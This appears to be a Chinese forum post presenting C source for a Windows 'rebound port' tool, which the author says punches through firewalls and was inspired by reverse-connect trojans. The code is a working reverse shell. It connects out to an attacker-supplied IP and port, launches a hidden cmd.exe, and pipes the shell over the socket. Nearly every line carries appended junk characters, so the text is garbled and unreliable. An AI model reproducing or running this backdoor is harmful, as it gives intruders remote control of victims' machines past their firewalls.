这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C>j@,G4
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/* ============================== lC("y'
::
Rebound port in Windows NT R0]1xGz
By wind,2006/7 " H&W}N
===============================*/ q#ClnG*
#include m^f0V2M_
#include xH(lm2kvT
pW@Pt 3u
#pragma comment(lib,"wsock32.lib") E+R1 !.
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void OutputShell(); m=A(NKZ
SOCKET sClient; ~tUl}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %.Fi4}+O
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void main(int argc,char **argv) Mxsa-?R;v
{ [.'|_l
WSADATA stWsaData; Ng>5?F^v
int nRet; 3kIN~/<R+7
SOCKADDR_IN stSaiClient,stSaiServer; (Hz^)5(~
\y)rt )
if(argc != 3) C] eSizS.
{ v/0QOp
printf("Useage:\n\rRebound DestIP DestPort\n"); %C'?@,7C
return; }Jve cRtg1
} ]kG"ubHV?h
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WSAStartup(MAKEWORD(2,2),&stWsaData); U;V7 u/{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); '(VJ&UlS2
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stSaiClient.sin_family = AF_INET; oMD>Ywc-
stSaiClient.sin_port = htons(0); $L>@Ed<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2LL'J7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C:* *;=.
{ z8~NZ;A
printf("Bind Socket Failed!\n"); L9\1+rq
return; pb?c$n$u*
} NP#w+Qw
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stSaiServer.sin_family = AF_INET; u\x}8pn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V>%rv'G8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }bpQq6ZF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ygS;$2m%2
{ p2[n$61
printf("Connect Error!"); dA`IEQJL
return; 88gM?G _X
} @= Uh',F
OutputShell(); H8^(GUhyp
} u+e{Mim
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void OutputShell() qu6D 5t
{ cAqLE\h
char szBuff[1024]; uR4z&y
SECURITY_ATTRIBUTES stSecurityAttributes; qIE9$7*X
OSVERSIONINFO stOsversionInfo; p* (JjH
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2K6qY)/_
STARTUPINFO stStartupInfo; Yty/3T3)e
char *szShell; o>i4CCU+
PROCESS_INFORMATION stProcessInformation; $Sx'sA2
unsigned long lBytesRead; H8zK$!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nH'e?>x~e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b-?gw64#
stSecurityAttributes.lpSecurityDescriptor = 0; Y>T-af49
stSecurityAttributes.bInheritHandle = TRUE; wY%}
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y`5
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #PW9:_BE
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $q{!5-e
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q[ZT Hd.-
stStartupInfo.wShowWindow = SW_HIDE; xY8$I6
stStartupInfo.hStdInput = hReadPipe; N7QK>
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {n.PF8A5X
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GetVersionEx(&stOsversionInfo); M}-Rzc
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switch(stOsversionInfo.dwPlatformId) <C iSK!
{ 8)3*6+D
case 1: wqs?828x
szShell = "command.com"; P [ck84F/
break; 7wqK>Y1a
default: PO^ij2eS
szShell = "cmd.exe"; ~2N"#b&J
break; ^j7Vt2-
} }W8;=$jr
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W:nef<WH
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send(sClient,szMsg,77,0); F6|]4H.3Q
while(1) D|p9qe5%
{ M `M5'f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); FUb\e-Q=
if(lBytesRead) ^|>PA:%
{ ]Sz:|%JP1
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YnMvl
send(sClient,szBuff,lBytesRead,0); 1#2 I
} &64h ;P<
else E_wCN&`[
{ iByf{ I>+
lBytesRead=recv(sClient,szBuff,1024,0); Y('#jU
if(lBytesRead<=0) break; hEH?[>9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c_pr
} zxl@(hd
} }C?'BRX
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return; n'LrQU
}